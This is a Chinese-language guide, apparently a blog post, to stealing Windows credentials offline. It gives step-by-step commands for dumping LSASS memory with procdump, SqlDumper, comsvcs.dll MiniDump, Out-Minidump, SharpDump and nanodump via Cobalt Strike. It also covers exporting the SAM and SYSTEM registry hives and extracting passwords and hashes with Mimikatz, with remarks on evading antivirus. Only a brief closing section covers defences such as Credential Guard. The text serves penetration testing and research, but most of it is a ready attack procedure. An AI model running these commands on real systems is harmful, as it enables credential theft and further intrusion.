Windows凭证离线解密技术全面指南

前言

本文详细总结Windows系统中离线解密凭证的各种技术方法，涵盖从LSASS进程转储到SAM文件提取等多种技术手段，适用于渗透测试、应急响应和安全研究等场景。

一、LSASS进程转储方法

1. 任务管理器转储法

步骤：

1. 以管理员身份打开任务管理器
2. 找到"lsass.exe"进程
3. 右键选择"创建转储文件"
4. 记录转储文件保存位置(通常为C:\Users\[用户名]\AppData\Local\Temp\lsass.DMP)
5. 使用Mimikatz解密：

   sekurlsa::minidump C:\path\to\lsass.DMP
   sekurlsa::logonpasswords
   

2. Procdump工具法

优势： 微软签名工具，具备一定免杀能力

步骤：

1. 下载官方Procdump：Microsoft Sysinternals Procdump
2. 执行命令：

   procdump.exe -accepteula -ma lsass.exe lsass.dmp
   

3. 对导出的dump文件进行解密

3. SQLDumper方法

适用场景： 目标系统安装了Microsoft SQL或Office

SQLDumper常见路径：

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

步骤：

1. 获取lsass进程PID：tasklist | find "lsass"
2. 执行转储：

   SqlDumper.exe <lsass pid> 0 0x01100
   

3. 对生成的dump文件进行本地解密

4. comsvcs.dll方法

注意事项：

• 需要在PowerShell中执行(默认启用SeDebugPrivilege权限)
• CMD中默认禁用SeDebugPrivilege权限

步骤：

1. 获取lsass进程PID：Get-Process lsass
2. 执行转储：

   rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\lsass.dmp full
   

3. 解密生成的lsass.dmp文件

CMD中启用SeDebugPrivilege的方法：
使用SwitchPriv工具切换权限

二、SAM文件提取方法

1. 注册表导出法

关键文件位置：

• SYSTEM文件：C:\Windows\System32\config\SYSTEM
• SAM文件：C:\Windows\System32\config\SAM

步骤：

1. 导出注册表：

   reg save HKLM\SYSTEM C:\system.hiv
   reg save HKLM\sam C:\sam.hiv
   

2. 使用Mimikatz解密：

   lsadump::sam /sam:C:\sam.hiv /system:C:\system.hiv
   

扩展： 可额外导出HKLM\security进行更全面的凭证提取

三、其他高级转储工具

1. Out-Minidump(PowerShell)

项目地址： PowerSploit/Out-Minidump.ps1

步骤：

1. 导入模块：

   Import-Module .\Out-Minidump.ps1
   

2. 转储lsass：

   Get-Process lsass | Out-Minidump
   

3. 解密生成的dump文件

2. SharpDump工具

项目地址： GhostPack/SharpDump

特点： 需编译后使用，管理员权限运行

3. hashdump工具

项目地址： RedTeamTools/hashdump

测试结果： 使用new_mimidump成功，需管理员权限

4. nanodump工具

项目地址： helpsystems/nanodump

Cobalt Strike中使用方法：

1. 加载插件
2. 运行nanodump离线dumphash(需管理员权限)
3. 使用restore_signature.sh还原签名：

   bash restore_signature.sh <dumpfile>
   

4. 解密文件

四、技术原理与防御建议

技术原理

所有方法都基于Windows认证机制的核心组件：

• LSASS(Local Security Authority Subsystem Service)进程存储内存中的凭证
• SAM(Security Account Manager)数据库存储本地账户哈希

防御建议

1. 启用Credential Guard(Windows 10+企业版)
2. 限制对lsass进程的访问权限
3. 监控可疑的进程转储行为
4. 定期更新系统补丁
5. 限制管理员权限分配

结语

本文涵盖了Windows系统离线凭证解密的主流技术，从基础的LSASS转储到SAM文件提取，再到各种高级工具的使用。安全研究人员应合理使用这些技术，仅用于合法授权的测试和研究目的。